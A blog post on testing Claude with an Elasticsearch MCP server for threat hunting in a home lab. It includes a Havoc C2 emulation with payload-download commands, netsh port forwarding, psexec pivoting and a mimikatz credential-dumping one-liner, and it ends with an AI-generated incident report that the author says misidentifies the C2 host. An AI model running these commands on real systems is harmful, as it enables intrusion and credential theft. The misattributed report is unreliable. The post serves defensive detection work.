For the last 2 weeks I’ve been doing some DFIR CTF labs by Xintra
Xintra: Assassin KittyXintra: VirusViperBecause I’m relatively new to the DFIR/Threat Hunting space, I’ve relied quite a bit on LLMs asking them prompts like
I have ingested Windows Security and Proxy logs. What information and events should I search for when looking for successful RDP connections?
And it would tell me to look for logon type = 3 for RDP events correlated with IP and time etcetera.
It was really helpful, but with the whole rage about MCPs and agents reasoning for a given task, I wondered how well would that hold up for Agentic Threat Hunting (ATH).
Since I obviously don’t have access to the Elastic cluster of Xintra, I had to setup everything from scratch just to simulate it.
In this post I’m going to through a few things
- Setting up Elastic
- Setting up Claude MCP
- Adversarial Emulation using Havoc
- Using Claude and MCP to perform automated threat hunting
- Closing thoughts
If you’re not interested in the Elastic setup, feel free to skip ahead to the MCP portion
Setting up ElasticConfigure Security Logging on the Windows MachinesSetting up Elastic PoliciesInstalling the AgentViewing the EventsGenerating API key for Elastic searchingClaude MCPAttack SetupInfraAttack Scenario1. Generate a payload using Havoc2. Dropping the Payload3. Executing the Payload4. Setup network forwarding rules5. PSExec for lateral movement6. Download Mimikatz7. Dump Credentials using MimikatzMCP Threat HuntingShortcomingsDemon.x64.exe Incident Analysis ReportExecutive SummaryTimeline of EventsInitial Execution (Source: attacker)Lateral Movement ActivityNetwork Logon Events (Target: victim)Subsequent LogonsMalware Deployment (Target: victim)Malicious Tool Download (Target: victim)Credential Harvesting Attack (Target: victim)Reconnaissance Activity (Target: victim)Key FindingsAttack VectorLateral Movement MethodPersistence MechanismMalicious Activities on Victim Machine1. Service Installation & Persistence2. Credential Harvesting Operation3. Network Reconnaissance4. Command & Control InfrastructureInfrastructure DetailsRecommendationsImmediate ActionsLong-term Security MeasuresIOCs (Indicators of Compromise)FilesNetwork IndicatorsProcess IndicatorsBehavioral Indicators
Setting up Elastic
You could use Elastic Cloud, but it’s not free
So I opted to do a local install instead (this means you have to use Stand-alone agents down the road, but I’ll cover that as well)
Lucky for me, I have a spare laptop wit
Xubuntu installed, so I’ll use that as my dedicated Elastic server.Installation of Elastic on this machine is relatively simple
- Install Docker
- Install Elastic
After it’s done, it would automatically spin up and run the image before showing the login details
When Elastic is installed, it’s hosted on
localhost, but since I’m hosting it on my separate machine, I need to configure it to run on the local IP instead.We edit
./elastic-start-local/docker-compose.yml and change all instances of localhost to the IP address of the machine.After you have made those changes in
docker-compose.yml, stop the server with stop.sh and start the server again with start.shNow I can access the site on my “main” machine
Configure Security Logging on the Windows Machines
Before installing the agent, we need to configure the ETW sources on the Windows machines that we want to install the agent on.
You can dig deeper into ETW channels in this excellent post here: https://benjitrapp.github.io/defenses/2024-02-11-etw/
We follow this post to enable baseline security logging for Windows
Setting up Elastic Policies
With Security Logging enabled, we can start to create Elastic policies.
To install Elastic Agents on a fleet, you need a HTTPs website as a C2 for the Agents.
Since we’re doing it all locally, I’m going to use standalone agents instead.
On the Elastic site go to
FleetBefore adding an Agent, we setup an Agent policy. Click on
Agent policiesThen
Create agent policyWe’re going to collect ETW events, we we name this policy ETW.
Feel free to click
Collect system logs and metrics if you want, but I’m not interested in them so it’s disabledCreate the policy and we should be able to see it
Click into the policy and you should see
Add integrationIt’s here that we’re setup our ETW integrations
Click on
Add integration and you should be brought to the integrations page.Search for Windows and select
Custom Windows Event LogsClick
Add Custom Windows Event LogsAnd we’re going to have to select with ETW channel we want to subscribe to
We add an integration for
Windows Security Log which should contain everything we require. Enter Security in the Channel NameKeep the dataset name to
winlog.winlog, but if you want to change it, take note that you have to select the correct name when choosing the Dataset later in the visualization.At the bottom of the page, add the integration to
ETW which the policy group we created earlierIf you see this message, click
Add Elastic Agent laterNow your policy page should look something like this
Click on Settings
Modify the
Outputs section which specifies where your agents will send data to. In my case, I’m sending it to the IP address of my Elastic server running on my laptopClick on the Agent tab and then
Add AgentChoose the
Run standalone tab, and you should see the pre-generated elastic-agent.yml configuration file containing all the ETW feeds we specified earlier that we want to ingestScroll down and copy the installation instructions
There’s a typo in the 3rd line
Expand-Archive .elastic-agent-9.0.0-windows-x86_64.zipIt should be
Expand-Archive ./elastic-agent-9.0.0-windows-x86_64.zip$ProgressPreference = 'SilentlyContinue' Invoke-WebRequest -Uri https://artifacts.elastic.co/downloads/beats/elastic-agent/elastic-agent-9.0.0-windows-x86_64.zip -OutFile elastic-agent-9.0.0-windows-x86_64.zip Expand-Archive ./elastic-agent-9.0.0-windows-x86_64.zip -DestinationPath . cd elastic-agent-9.0.0-windows-x86_64 .\elastic-agent.exe install
Installing the Agent
Copy the (fixed) PowerShell commands and run it on the VM machine
Enter
Y for running as a serviceEnter
n for enrolling into a Fleet, as we’re installing this as a standaloneEdit the file
C:\Program Files\Elastic\Agent\elastic-agent.yml and paste in the configuration pre-generated aboveIt should now look something like this with the
api_key as a variableBack to the Elastic console, click
Create API key which will generate an API key.Paste it into the
elastic-agent.yml and save itNow we restart the Elastic service by running these in cmd (Not PowerShell)
sc stop "Elastic Agent" sc start "Elastic Agent"
Viewing the Events
Click on the side panel and
Discover to navigate to the events viewerIn the
Data view, select logs-winlog.winlog-default which reads the logs from our defined log source that stores the ETW eventsOn the machine, try starting a new process like
notepad.exe or calc.exe, and you should see Process Creation events coming inGenerating API key for Elastic searching
Going back to our Elastic dashboard, we need to generate an API key to allow searching of the index.
Head to
/app/management/security/api_keysCreate API key, and fill in the details.If you want to limit access to which data Claude can search on, enable
Control security privileges and configure the ACLs for the indexes.For me, since I’m running it locally, I’m going to leave it unchecked for now.
After generating the API key, the value will pop up and you will need to copy it to your
claude_desktop_config.json later, so keep it save it somewhere!Just to recap,
- We got the cluster up and running
- We’ve installed and configured the Elastic agent on the machine
- We’ve setup the various integrations to ingest Security logs from the machine
- We’re able to see the events streaming into Elastic
- We’ve created an API key to allow remote searching of data
Now on to Threat Hunting with MCP!
Claude MCP
To use Claude MCP, you need to download the desktop version.
Once installed, go to
File -> SettingsClick the
Developer tabClick
Edit Config which will link you to the claude_desktop_config.json fileOpening the file, it’s initially an empty with no configurations set.
Following the guide here
We copy and paste the template MCP configuration
{ "mcpServers": { "Elasticsearch MCP Server": { "command": "npx", "args": [ "-y", "@elastic/mcp-server-elasticsearch" ], "env": { "ES_URL": "", "ES_API_KEY": "" } } } }
ES_URL should be your URL of your Elastic server at port 9200Paste the API key we generated earlier for searching data in Elastic
Save the file and close it, navigating back to Claude Desktop
You need to restart the Claude Desktop application after saving the config file
To view the MCP logs, you have to enable
Developer Mode on Claude DesktopOnce done you should be able to see a new menu field
Developer -> Open MCP Log File...Lets run a test command to see if it can connect to the Elastic cluster
What indices do I have in my elastic cluster
On running it, there will be a pop up which you can click
Allow alwaysAnd we will get something like this
Attack Setup
Infra
On the two Windows machines that we have installed the Elastic Agents on
- Attacker
192.168.203.153- Although called
Attacker, it really the first victim, and acts as the pivot host to the second machineVictim
- Victim
192.168.203.154- This machine will be compromised via the pivot machine
- C2 server
- The C2 server is configured to run Kali
- We use Havoc as the C2 infrastructure
Attack Scenario
- Generate a payload using Havoc
- Drop payload on
Attacker
- Execute payload on
Attackerto get the first connection to the C2
- Setup port forwarding rules on
Attackerto connect to the C2
- Pivot to
Victimusingpsexec
- Download
mimikatz.exeontoVictimusing the forwarded port
- Execute
mimikatz.exeonVictimto dump credentials
1. Generate a payload using Havoc
I chose to use the Havoc C2 framework because having the GUI is a nice way to visualize the attack we’re going to carry out.
Simply follow the instructions here: https://havocframework.com/docs/installation
At the end of it, you should have a team server running, and a client connecting to the team server running on port
40056 with the default user Neo:password1234# Run the teamserver ./havoc server --profile ./profiles/havoc.yaotl -v --debug
# Run the client ./havoc client
Now we’re at the main page of Havoc, we need to do 2 things
- Create a listener for the pivot
- Create a listener for the internal victim
- Generate payloads for both listeners
To create a listener, go to
View->Listeners to open up the Listeners tab, and click Add. In this example, we’re creating a HTTP listener on port 80. In a real attack, we could choose either 443 or 80 to blend in with normal network traffic.If the attack has extensive footprint of the target, we could also spoof a User Agent that is identical to the endpoints in the target environment. For example, we can send then a non-malicious link, or a legitimate advertisement model months before the actual attack for the sole purpose of gathering their User Agent values.
In this example we’re also not using a proxy, but in a real attack, you likely don’t want the target to connect directly to your server, but rather jump through a few hoops of proxy to hide behind.
Remember to open the chosen port on your attacker machine to allow the connection from the victim.
$> sudo ufw allow 80
Save it, and we should see a new entry for us to create a payload from
Now when we click
Attack->Payload, we should see a drop down of the available listeners with the default being http-listener we just created.We can leave most things default here, but there are some opsec considerations to take note of, such as spawning
notepad.exe or the beacon intervals.Hit
Generate and it would take a while to build and compile the payloads. Save them anywhere you want once it’s doneWe generate another SMB listener that we will deploy on the victim. This payload will connect to our pivot machine before connecting back to the C2 server
For this payload, select
Windows Service Exe for the format as we want to deploy it as a service using psexec2. Dropping the Payload
Now that we have generated both payloads, we transfer the
http-listener payload to the first machine.“Real world” attacks typical go through the route of phishing or sending an
.lnk file that executes PowerShell commands, but for simplicity we run a HTTP server on the attacker machine, and the victim downloads the payload onto theirs.Navigate to the folder where the generated payload resides and start a python server
python3 -m http.server 8001
On the victim, we download the payload
PS> iwr http://192.168.1.119:8001/demon.x64.exe -O demon.x64.exe
3. Executing the Payload
To avoid the tedious task of privilege escalation, we run the payload as Administrator.
Back on our Havoc C2 console, we should see a connection back to port
80 or which ever port you configured.Again, remember to open the port on your attacker machine
4. Setup network forwarding rules
Now that we have compromised the first machine, it’s going to be our pivot host to get into the next machine.
We setup the pivot machine with port forwarding rules so that the internal machines can download tools from our attacker machine.
We forward connections to the pivot machine on port
443 to port 8080 on the attacker machineWe issue these commands to the agent
powershell "netsh interface portproxy add v4tov4 listenport=443 listenaddress=192.168.208.153 connectport=8080 connectaddress=192.168.1.118"
Open up the firewall port on the pivot machine
powershell "netsh advfirewall firewall add rule name='port_forward_443' protocol=TCP dir=in localip=192.168.208.153 localport=443 action=allow"
On the attacker machine, we also have to open port
8080$> sudo ufw allow 8080
5. PSExec for lateral movement
Use
jump-exec and psexec to deploy the SMB payload on victim machine. What this does it that it will create a service on the victim machinejump-exec psexec victim DemonSvc2 /home/r00t/Desktop/demon_svc.exe
Once the service has been started, we connect to the named pipe
pivot connect victim smb_listener
If we click on
View->Session View->Graph, it should look nicely like this 👹6. Download Mimikatz
Using the agent on
VICTIM machine, we download mimikatz via the pivot machine. Remember earlier we setup a port forward from 443 of the pivot machine to 8080 on the attacker server, so on VICTIM, we download from the pivot machine on 443powershell "iwr http://192.168.208.153:443/mimikatz.exe -O C:\Users\Victim\Desktop\mimikatz.exe"
7. Dump Credentials using Mimikatz
Finally, we run a nice mimikatz oneliner to dump out the hashes
powershell "C:\Users\Victim\Desktop\mimikatz.exe 'privilege::debug' 'token::elevate' 'sekurlsa::logonpasswords' 'lsadump::lsa /inject' 'exit'"
MCP Threat Hunting
The goal is simple, given the entry binary on the first machine, task the agent to perform threat hunting for us and see what activities it can uncover.
We give the model some context such as the operating system, which logs are ingested and the name of the binary.
Claude also does not do well when there’s a large amount of data returned, so we need to insert some safeguards around the size of the return data. Limiting the results and preventing searching of field mappings seem to be sufficient.
Here’s the full prompt
I found this binary "demon.x64.exe" on the endpoint with hostname "attacker". Analyze find all potential malicious activities on this machine, lateral movements to other machines, and malicious activities on those machines. Search only .ds-logs-winlog.winlog-default-2025.05.23-000001 index, and query the minimum number of data required to do the investigation. Do not search for field mappings .ds-logs-winlog.winlog-default-2025.05.23-000001 index was populated using Windows Security log limit the amount of data to 10 or less
And here’s the video of it in action!
Shortcomings
While its quite amazing that an AI agent can perform threat hunting, it’s clearly lacking in a few areas
- You have to prompt it to find malicious activities on the “attacker” and “victim”, it won’t automatically investigate “attacker”, nor pivot to perform investigations on “victim” (perhaps a more concise prompt was needed to explicitly tell it to do that)
- It missed out the PowerShell process spawned to setup a port forwarder to the C2 infra. Because of that, it did not flag out the C2 IP address and instead mistakenly labelled the pivot machine
192.168.208.153as the host formimikatz.exe
- This is a relatively simple scenario. With more complex scenarios, more endpoints and more noise it would likely not do well, perhaps only highlighting surface level findings.
Therefore… don’t rely too much on AI to do your threat hunting. Without an explicit clear prompt on what to investigate, it would start making false assumptions based on the available data, producing both False Positives (wrongly attributing the C2) and False Negatives (not identifying the port forwarding rule)
To me, a human analyst is definitely still required to sieve through the messy data and noise generated from all the activity. Also, an experienced Threat Hunter would very quickly form a hypothesis and dig deeper into those incidents without having to constantly prompt an AI into the right direction.
As usual, augmentation would be key rather than replacement. Using the tacit knowledge of a skilled Threat Hunter leveraged with AI, they can craft the correct prompts to conduct a thorough investigation. The AI Agent can also have default instructions to dig as deeply as possible into the events so that the Threat Hunter need to constantly spell the instructions out.
Â
The generated report by Claude:
Demon.x64.exe Incident Analysis Report
Executive Summary
Analysis of the "demon.x64.exe" binary revealed a successful lateral movement attack from the "attacker" host to the "victim" host. The malware established persistence through service installation and executed reconnaissance commands on the target system.
Timeline of Events
Initial Execution (Source: attacker)
- Time: 2025-05-23T14:30:37.841Z
- Host: attacker
- Event: Process creation (Event ID 4688)
- Process:
C:\Users\attacker\Desktop\demon.x64.exe
- Parent Process:
C:\Windows\explorer.exe
- Process ID: 0x23b4
- User Context: ATTACKER$
Lateral Movement Activity
Network Logon Events (Target: victim)
Multiple successful network logons detected from attacker to victim machine:
- First Logon: 2025-05-23T14:36:18.862Z
- Source IP: 192.168.208.153 (attacker machine)
- Target Domain: VICTIM
- Username: attacker
- Workstation: ATTACKER
- Logon Type: 3 (Network logon)
Subsequent Logons
- 2025-05-23T14:36:40.341Z - Network logon from 192.168.208.153
- 2025-05-23T14:37:05.821Z - Network logon from 192.168.208.153
Malware Deployment (Target: victim)
- Time: 2025-05-23T14:36:40.378Z
- Host: victim
- Event: Process creation (Event ID 4688)
- Process:
\\Device\Mup\victim\C$\Windows\demonsvc.exe
- Command Line:
\\\\victim\\C$\\Windows\\demonsvc.exe
- Parent Process:
C:\Windows\System32\services.exe
- User Context: VICTIM$
Malicious Tool Download (Target: victim)
- Time: 2025-05-23T14:38:36.049Z
- Host: victim
- Action: PowerShell download command
- Command:
C "iwr http://192.168.208.153:443/mimikatz.exe -O C:\Users\victim\Desktop\mimikatz.exe"
- Parent Process: demonsvc.exe
- Purpose: Download Mimikatz credential harvesting tool
Credential Harvesting Attack (Target: victim)
- Time: 2025-05-23T14:39:59.094Z & 2025-05-23T14:39:59.334Z
- Host: victim
- Tool: Mimikatz execution
- Command:
C:\Users\Victim\Desktop\mimikatz.exe 'privilege::debug' 'token::elevate' 'sekurlsa::logonpasswords' 'lsadump::lsa /inject' 'exit'
- Purpose: Extract plaintext passwords and hashes from memory
- Techniques Used:
- Debug privilege escalation
- Token elevation
- LSASS memory dump for credentials
- LSA secrets extraction
Reconnaissance Activity (Target: victim)
Multiple network discovery commands executed:
- Times: 2025-05-23T14:38:01.578Z, 14:43:01.599Z, 14:48:01.582Z, 14:53:01.592Z
- Command:
arp -a
- Purpose: Network enumeration for lateral movement planning
Key Findings
Attack Vector
The demon.x64.exe executable was manually executed on the attacker machine, likely by a user through Windows Explorer.
Lateral Movement Method
The malware successfully performed lateral movement using:
- Network share access (
\\\\victim\\C$)
- Service installation for persistence (
demonsvc.exe)
- Administrative/system-level privileges
Persistence Mechanism
The malware established persistence by:
- Installing itself as a service (
demonsvc.exe) inC:\Windows\
- Running under SYSTEM context through Windows services
Malicious Activities on Victim Machine
1. Service Installation & Persistence
- Process: demonsvc.exe deployed to C:\Windows\
- Method: Administrative share access via \victim\C$
- Execution Context: SYSTEM privileges through Windows services
- Persistence: Registered as Windows service for automatic startup
2. Credential Harvesting Operation
The most critical malicious activity involved a sophisticated credential theft attack:
Tool Download:
- Downloaded Mimikatz from attacker's web server (192.168.208.153:443)
- Stored at:
C:\Users\victim\Desktop\mimikatz.exe
- Download method: PowerShell Invoke-WebRequest
Credential Extraction:
- Tool: Mimikatz v2.x (industry-standard credential harvesting tool)
- Techniques Deployed:
privilege::debug- Enabled debug privileges for memory accesstoken::elevate- Elevated process token to SYSTEM levelsekurlsa::logonpasswords- Extracted plaintext passwords from LSASS memorylsadump::lsa /inject- Dumped LSA secrets and cached credentials
- Impact: Complete credential compromise of all logged-on users
3. Network Reconnaissance
Persistent network discovery activities for lateral movement planning:
- Command:
arp -a(executed 4+ times over 15-minute period)
- Purpose: Enumerate network neighbors and potential targets
- Frequency: Every 5 minutes (automated reconnaissance pattern)
4. Command & Control Infrastructure
- C2 Server: 192.168.208.153:443 (HTTPS)
- Communication Method: Direct HTTP downloads
- Infrastructure: Attacker-controlled web server for tool delivery
Infrastructure Details
- Source Host: attacker (192.168.208.153)
- Target Host: victim
- Network: 192.168.208.0/24 subnet
- Compromised User: attacker account with cross-domain access
Recommendations
Immediate Actions
- Isolate both "attacker" and "victim" hosts
- Remove demonsvc.exe service from victim machine
- Reset credentials for "attacker" user account
- Analyze network traffic between 192.168.208.153 and victim host
Long-term Security Measures
- Implement network segmentation
- Monitor administrative share access
- Deploy endpoint detection and response (EDR) solutions
- Regular security awareness training for users
- Implement principle of least privilege
IOCs (Indicators of Compromise)
Files
- demon.x64.exe - Original malware binary (
C:\Users\attacker\Desktop\demon.x64.exe)
- demonsvc.exe - Service persistence component (
C:\Windows\demonsvc.exe)
- mimikatz.exe - Credential harvesting tool (
C:\Users\victim\Desktop\mimikatz.exe)
Network Indicators
- Source IP: 192.168.208.153 (attacker machine)
- C2 Server: 192.168.208.153:443 (tool download server)
- Download URL:
http://192.168.208.153:443/mimikatz.exe
Process Indicators
- Service Name: demonsvc.exe
- PowerShell Commands:
iwr http://192.168.208.153:443/mimikatz.exe -O C:\Users\victim\Desktop\mimikatz.exe- Mimikatz execution with privilege escalation parameters
- Network Commands: Repeated
arp -aexecution pattern
Behavioral Indicators
- Administrative share access (\victim\C$)
- Service installation for persistence
- Credential dumping activities
- Systematic network reconnaissance
- HTTPS-based tool delivery
This analysis was conducted using minimal data queries (5 searches, 10 records limit) to efficiently identify the attack pattern and lateral movement activities.